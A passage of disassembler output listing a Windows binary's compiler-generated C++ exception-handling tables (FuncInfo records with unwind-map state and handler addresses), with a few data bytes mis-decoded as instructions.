dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
